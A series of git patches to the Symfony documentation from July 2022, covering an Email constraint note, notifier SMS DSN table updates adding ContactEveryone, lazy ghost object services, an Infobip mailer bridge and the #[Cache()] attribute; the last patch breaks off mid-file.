From 08b1bd4a97126efe7368c58af344e367ece8e330 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 17 Jul 2022 22:35:16 +0200
Subject: [PATCH 2047/5766] Adding class constants

---
 reference/constraints/Email.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index ddf462ef6b4..3941fb71f1a 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -135,6 +135,9 @@ This option defines the pattern used to validate the email address. Valid values
 * ``strict`` uses the `egulias/email-validator`_ library (which you must
   install separately) for validation according to `RFC 5322`_.
 
+You can also use the class constants of :class:`Symfony\\Component\\Validator\\Constraints\\Email`,
+e.g. ``Email::VALIDATION_MODE_STRICT``.
+
 The default value used by this option is set in the
 :ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`
 configuration option.

From 6f18414ce10293ac5c682276b064fa143d828763 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 08:53:41 +0200
Subject: [PATCH 2048/5766] Revert minor change

---
 bundles/best_practices.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index c0c96b23289..d572b808d86 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -227,7 +227,7 @@ Require a Specific Symfony Version
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 You can use the special ``SYMFONY_REQUIRE`` environment variable together
-with Symfony to install a specific Symfony version:
+with Symfony Flex to install a specific Symfony version:
 
 .. code-block:: bash
 

From a9ff6609c0556f521dbfa8cc9e7668ab6c4c78c7 Mon Sep 17 00:00:00 2001
From: Alexey Rogachev <arogachev90@gmail.com>
Date: Fri, 15 Jul 2022 16:17:19 +0600
Subject: [PATCH 2049/5766] Fix broken reference to CommandCompletionTester
 class

---
 console/input.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index cddbe407ce4..ab55f6d04f0 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -368,7 +368,7 @@ Testing the Completion script
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The Console component comes with a special
-:class:`Symfony\\Component\\Console\\Test\\CommandCompletionTester`` class
+:class:`Symfony\\Component\\Console\\Tester\\CommandCompletionTester`` class
 to help you unit test the completion logic::
 
     // ...

From a6ee5ed5522fbc24ba36102480ca16ed3f7611b5 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 12 Jul 2022 16:21:12 +0200
Subject: [PATCH 2050/5766] Fixing storage_factory_id

---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 55bc2be1a0c..2898ba5d70b 100644
--- a/session.rst
+++ b/session.rst
@@ -71,7 +71,7 @@ sessions, check their default configuration:
                 // improves the security of the cookies used for sessions
                 ->cookieSecure('auto')
                 ->cookieSamesite(Cookie::SAMESITE_LAX)
-                ->storage_factory_id('session.storage.factory.native')
+                ->storageFactoryId('session.storage.factory.native')
             ;
         };
 

From 08e83190cf1f7387d9056e03dd6d09112c76f2ac Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Fri, 15 Jul 2022 14:19:26 +0100
Subject: [PATCH 2051/5766] [Notifier] Add ContactEveryone Doc

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index aa2ed34c78c..64a30ea2d02 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -66,6 +66,7 @@ Service         Package                               DSN
 AllMySms        ``symfony/all-my-sms-notifier``       ``allmysms://LOGIN:APIKEY@default?from=FROM``
 AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
+ContactEveryone  ``symfony/contact-everyone-notifier`` ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``  
 Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
 FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``

From b10cbc8fb76330cf543d517648eda6e8ef944d4a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 09:21:38 +0200
Subject: [PATCH 2052/5766] Minor tweaks

---
 notifier.rst | 78 ++++++++++++++++++++++++++--------------------------
 1 file changed, 39 insertions(+), 39 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 64a30ea2d02..82980f4698e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,49 +59,49 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-==============  ====================================  ===========================================================================
-Service         Package                               DSN
-==============  ====================================  ===========================================================================
-46elks          ``symfony/forty-six-elks-notifier``   ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
-AllMySms        ``symfony/all-my-sms-notifier``       ``allmysms://LOGIN:APIKEY@default?from=FROM``
-AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
+===============  ====================================  ===========================================================================
+Service          Package                               DSN
+===============  ====================================  ===========================================================================
+46elks           ``symfony/forty-six-elks-notifier``   ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
+AllMySms         ``symfony/all-my-sms-notifier``       ``allmysms://LOGIN:APIKEY@default?from=FROM``
+AmazonSns        ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+Clickatell       ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
 ContactEveryone  ``symfony/contact-everyone-notifier`` ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``  
-Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
-FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-GatewayApi      ``symfony/gateway-api-notifier``      ``gatewayapi://TOKEN@default?from=FROM``
-Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
-Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-KazInfoTeh      ``symfony/kaz-info-teh-notifier``     ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
-LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
-Mailjet         ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
-MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
-MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
-Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-Nexmo           ``symfony/nexmo-notifier``            Abandoned in favor of Vonage (symfony/vonage-notifier).
-Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
-OrangeSms       ``symfony/orange-sms-notifier``       ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
-OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
-Sendberry       ``symfony/sendberry-notifier``        ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
-Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
-Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
-Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
-SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
-Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
-SMSFactor       ``symfony/sms-factor-notifier``       ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
-SpotHit         ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
-Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
-TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
-Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
-Vonage          ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@default?from=FROM``
-Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
-==============  ====================================  ===========================================================================
+Esendex          ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
+FakeSms          ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
+FreeMobile       ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+GatewayApi       ``symfony/gateway-api-notifier``      ``gatewayapi://TOKEN@default?from=FROM``
+Infobip          ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
+Iqsms            ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+KazInfoTeh       ``symfony/kaz-info-teh-notifier``     ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
+LightSms         ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+Mailjet          ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
+MessageBird      ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
+MessageMedia     ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
+Mobyt            ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
+Nexmo            ``symfony/nexmo-notifier``            Abandoned in favor of Vonage (symfony/vonage-notifier).
+Octopush         ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
+OrangeSms        ``symfony/orange-sms-notifier``       ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
+OvhCloud         ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
+Sendberry        ``symfony/sendberry-notifier``        ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
+Sendinblue       ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
+Sms77            ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
+Sinch            ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
+Smsapi           ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
+SmsBiuras        ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+Smsc             ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
+SMSFactor        ``symfony/sms-factor-notifier``       ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
+SpotHit          ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
+Telnyx           ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
+TurboSms         ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
+Twilio           ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
+Vonage           ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@default?from=FROM``
+Yunpian          ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
+===============  ====================================  ===========================================================================
 
 .. versionadded:: 6.2
 
-    The SMSFactor integration was introduced in Symfony 6.2.
+    The ContactEveryone and SMSFactor integrations were introduced in Symfony 6.2.
 
 .. versionadded:: 6.1
 

From 59700691f70f9317bcc798912b04c6381e2f73e6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 10:24:47 +0200
Subject: [PATCH 2053/5766] Fix RST table

---
 notifier.rst | 78 ++++++++++++++++++++++++++--------------------------
 1 file changed, 39 insertions(+), 39 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 82980f4698e..bbe2570c722 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,45 +59,45 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-===============  ====================================  ===========================================================================
-Service          Package                               DSN
-===============  ====================================  ===========================================================================
-46elks           ``symfony/forty-six-elks-notifier``   ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
-AllMySms         ``symfony/all-my-sms-notifier``       ``allmysms://LOGIN:APIKEY@default?from=FROM``
-AmazonSns        ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-Clickatell       ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
-ContactEveryone  ``symfony/contact-everyone-notifier`` ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``  
-Esendex          ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-FakeSms          ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
-FreeMobile       ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-GatewayApi       ``symfony/gateway-api-notifier``      ``gatewayapi://TOKEN@default?from=FROM``
-Infobip          ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
-Iqsms            ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-KazInfoTeh       ``symfony/kaz-info-teh-notifier``     ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
-LightSms         ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
-Mailjet          ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
-MessageBird      ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
-MessageMedia     ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
-Mobyt            ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-Nexmo            ``symfony/nexmo-notifier``            Abandoned in favor of Vonage (symfony/vonage-notifier).
-Octopush         ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
-OrangeSms        ``symfony/orange-sms-notifier``       ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
-OvhCloud         ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
-Sendberry        ``symfony/sendberry-notifier``        ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
-Sendinblue       ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
-Sms77            ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
-Sinch            ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-Smsapi           ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
-SmsBiuras        ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
-Smsc             ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
-SMSFactor        ``symfony/sms-factor-notifier``       ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
-SpotHit          ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
-Telnyx           ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
-TurboSms         ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
-Twilio           ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
-Vonage           ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@default?from=FROM``
-Yunpian          ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
-===============  ====================================  ===========================================================================
+===============  =====================================  ===========================================================================
+Service          Package                                DSN
+===============  =====================================  ===========================================================================
+46elks           ``symfony/forty-six-elks-notifier``    ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
+AllMySms         ``symfony/all-my-sms-notifier``        ``allmysms://LOGIN:APIKEY@default?from=FROM``
+AmazonSns        ``symfony/amazon-sns-notifier``        ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+Clickatell       ``symfony/clickatell-notifier``        ``clickatell://ACCESS_TOKEN@default?from=FROM``
+ContactEveryone  ``symfony/contact-everyone-notifier``  ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``
+Esendex          ``symfony/esendex-notifier``           ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
+FakeSms          ``symfony/fake-sms-notifier``          ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
+FreeMobile       ``symfony/free-mobile-notifier``       ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+GatewayApi       ``symfony/gateway-api-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
+Infobip          ``symfony/infobip-notifier``           ``infobip://AUTH_TOKEN@HOST?from=FROM``
+Iqsms            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+KazInfoTeh       ``symfony/kaz-info-teh-notifier``      ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
+LightSms         ``symfony/light-sms-notifier``         ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+Mailjet          ``symfony/mailjet-notifier``           ``mailjet://TOKEN@default?from=FROM``
+MessageBird      ``symfony/message-bird-notifier``      ``messagebird://TOKEN@default?from=FROM``
+MessageMedia     ``symfony/message-media-notifier``     ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
+Mobyt            ``symfony/mobyt-notifier``             ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
+Nexmo            ``symfony/nexmo-notifier``             Abandoned in favor of Vonage (symfony/vonage-notifier).
+Octopush         ``symfony/octopush-notifier``          ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
+OrangeSms        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
+OvhCloud         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
+Sendberry        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
+Sendinblue       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
+Sms77            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
+Sinch            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
+Smsapi           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
+SmsBiuras        ``symfony/sms-biuras-notifier``        ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+Smsc             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@default?from=FROM``
+SMSFactor        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
+SpotHit          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
+Telnyx           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
+TurboSms         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
+Twilio           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``
+Vonage           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``
+Yunpian          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
+===============  =====================================  ===========================================================================
 
 .. versionadded:: 6.2
 

From a6b283b50a59c23f013cac4369c2bdbb140820ce Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 10:05:43 +0200
Subject: [PATCH 2054/5766] [DependencyInjection] Use lazy-loading ghost object
 proxies out of the box

---
 service_container/lazy_services.rst | 43 ++++++++---------------------
 1 file changed, 11 insertions(+), 32 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 7c9ff74637b..fb0fe699b6e 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -30,15 +30,10 @@ until you interact with the proxy in some way.
     In PHP versions prior to 8.0 lazy services do not support parameters with
     default values for built-in PHP classes (e.g. ``PDO``).
 
-Installation
-------------
+.. versionadded:: 6.2
 
-In order to use the lazy service instantiation, you will need to install the
-``symfony/proxy-manager-bridge`` package:
-
-.. code-block:: terminal
-
-    $ composer require symfony/proxy-manager-bridge
+    Starting from Symfony 6.2, you don't have to install any package (e.g.
+    ``symfony/proxy-manager-bridge``) in order to use the lazy service instantiation.
 
 Configuration
 -------------
@@ -81,32 +76,16 @@ You can mark the service as ``lazy`` by manipulating its definition:
             $services->set(AppExtension::class)->lazy();
         };
 
+Once you inject the service into another service, a lazy ghost object with the
+same signature of the class representing the service should be injected. A lazy
+`ghost object`_ is an object that is created empty and that is able to initialize
+itself when being accessed for the first time). The same happens when calling
+``Container::get()`` directly.
 
-Once you inject the service into another service, a virtual `proxy`_ with the
-same signature of the class representing the service should be injected. The
-same happens when calling ``Container::get()`` directly.
-
-The actual class will be instantiated as soon as you try to interact with the
-service (e.g. call one of its methods).
-
-To check if your proxy works you can check the interface of the received object::
+To check if your lazy service works you can check the interface of the received object::
 
     dump(class_implements($service));
-    // the output should include "ProxyManager\Proxy\LazyLoadingInterface"
-
-.. note::
-
-    If you don't install the `ProxyManager bridge`_ , the container will skip
-    over the ``lazy`` flag and directly instantiate the service as it would
-    normally do.
-
-Additional Resources
---------------------
-
-You can read more about how proxies are instantiated, generated and initialized
-in the `documentation of ProxyManager`_.
+    // the output should include "Symfony\Component\VarExporter\LazyGhostObjectInterface"
 
-.. _`ProxyManager bridge`: https://github.com/symfony/symfony/tree/master/src/Symfony/Bridge/ProxyManager
-.. _`proxy`: https://en.wikipedia.org/wiki/Proxy_pattern
-.. _`documentation of ProxyManager`: https://github.com/Ocramius/ProxyManager/blob/master/docs/lazy-loading-value-holder.md
+.. _`ghost object`: https://en.wikipedia.org/wiki/Lazy_loading#Ghost
 .. _`final`: https://www.php.net/manual/en/language.oop5.final.php

From f14ec5d6553059f7cb3fceaf12ae490bc70cc2f4 Mon Sep 17 00:00:00 2001
From: Benoit Galati <benoit.galati@gmail.com>
Date: Fri, 29 Apr 2022 08:53:04 +0200
Subject: [PATCH 2055/5766] [Mailer] Add Infobip bridge

---
 mailer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 0e476113907..32d04ec5a54 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -111,6 +111,7 @@ Postmark            ``composer require symfony/postmark-mailer``
 SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
 MailPace            ``composer require symfony/mailpace-mailer``
+Infobip             ``composer require symfony/infobip-mailer``
 ==================  ==============================================
 
 .. versionadded:: 6.2
@@ -118,6 +119,10 @@ MailPace            ``composer require symfony/mailpace-mailer``
     The ``MailPace`` integration was introduced in Symfony 6.2 (in previous
     Symfony versions it was called ``OhMySMTP``).
 
+.. versionadded:: 6.2
+
+    The Infobip integration was introduced in Symfony 6.2.
+
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
 use SendGrid. First, install it:
@@ -167,6 +172,7 @@ MailPace             mailpace+api://API_TOKEN@default                     n/a
 Postmark             postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
 Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
 Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
+Infobip              infobip+smtp://KEY@default                           n/a                                         infobip+api://KEY@BASE_URL
 ==================== ==================================================== =========================================== ========================================
 
 .. caution::

From 1894141283a74fa6b90eea7f71d609444c538ece Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 15:00:11 +0200
Subject: [PATCH 2056/5766] Add #[Cache()] attribute

---
 http_cache.rst            | 52 ++++++++++++++++++++++++++----------
 http_cache/cache_vary.rst | 30 +++++++++++++++------
 http_cache/esi.rst        | 41 ++++++++++++++++++++++-------
 http_cache/expiration.rst | 52 ++++++++++++++++++++++++++++--------
 http_cache/ssi.rst        | 55 +++++++++++++++++++++++++++++----------
 5 files changed, 173 insertions(+), 57 deletions(-)

diff --git a/http_cache.rst b/http_cache.rst
index 377c588202f..6ac54544c3d 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -191,24 +191,44 @@ Expiration Caching
 
 The *easiest* way to cache a response is by caching it for a specific amount of time::
 
-    // src/Controller/BlogController.php
-    use Symfony\Component\HttpFoundation\Response;
-    // ...
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        use Symfony\Component\HttpKernel\Attribute\Cache;
+        // ...
+
+        #[Cache(public: true, maxage: 3600, mustRevalidate: true)]
+        public function index()
+        {
+            return $this->render('blog/index.html.twig', []);
+        }
+
+    .. code-block:: php
 
-    public function index()
-    {
-        // somehow create a Response object, like by rendering a template
-        $response = $this->render('blog/index.html.twig', []);
+        // src/Controller/BlogController.php
+        use Symfony\Component\HttpFoundation\Response;
+        // ...
 
-        // cache publicly for 3600 seconds
-        $response->setPublic();
-        $response->setMaxAge(3600);
+        public function index()
+        {
+            // somehow create a Response object, like by rendering a template
+            $response = $this->render('blog/index.html.twig', []);
 
-        // (optional) set a custom Cache-Control directive
-        $response->headers->addCacheControlDirective('must-revalidate', true);
+            // cache publicly for 3600 seconds
+            $response->setPublic();
+            $response->setMaxAge(3600);
 
-        return $response;
-    }
+            // (optional) set a custom Cache-Control directive
+            $response->headers->addCacheControlDirective('must-revalidate', true);
+
+            return $response;
+        }
+
+.. versionadded:: 6.2
+
+    The ``#[Cache()]`` attribute was introduced in Symfony 6.2.
 
 Thanks to this new code, your HTTP response will have the following header:
 
@@ -316,6 +336,10 @@ Additionally, most cache-related HTTP headers can be set via the single
         'etag'             => 'abcdef'
     ]);
 
+.. tip::
+
+    All these options are also available when using the ``#[Cache()]`` attribute.
+
 Cache Invalidation
 ------------------
 
diff --git a/http_cache/cache_vary.rst b/http_cache/cache_vary.rst
index 1dbbf9a0fc4..fe9026d8d83 100644
--- a/http_cache/cache_vary.rst
+++ b/http_cache/cache_vary.rst
@@ -32,14 +32,28 @@ trigger a different representation of the requested resource:
     resource based on the URI and the value of the ``Accept-Encoding`` and
     ``User-Agent`` request header.
 
-The ``Response`` object offers a clean interface for managing the ``Vary``
-header::
+Set the ``Vary`` header via the ``Response`` object methods or the ``#[Cache()]``
+attribute::
 
-    // sets one vary header
-    $response->setVary('Accept-Encoding');
+.. configuration-block::
 
-    // sets multiple vary headers
-    $response->setVary(['Accept-Encoding', 'User-Agent']);
+    .. code-block:: php-attributes
 
-The ``setVary()`` method takes a header name or an array of header names for
-which the response varies.
+        // this attribute takes an array with the name of the header(s)
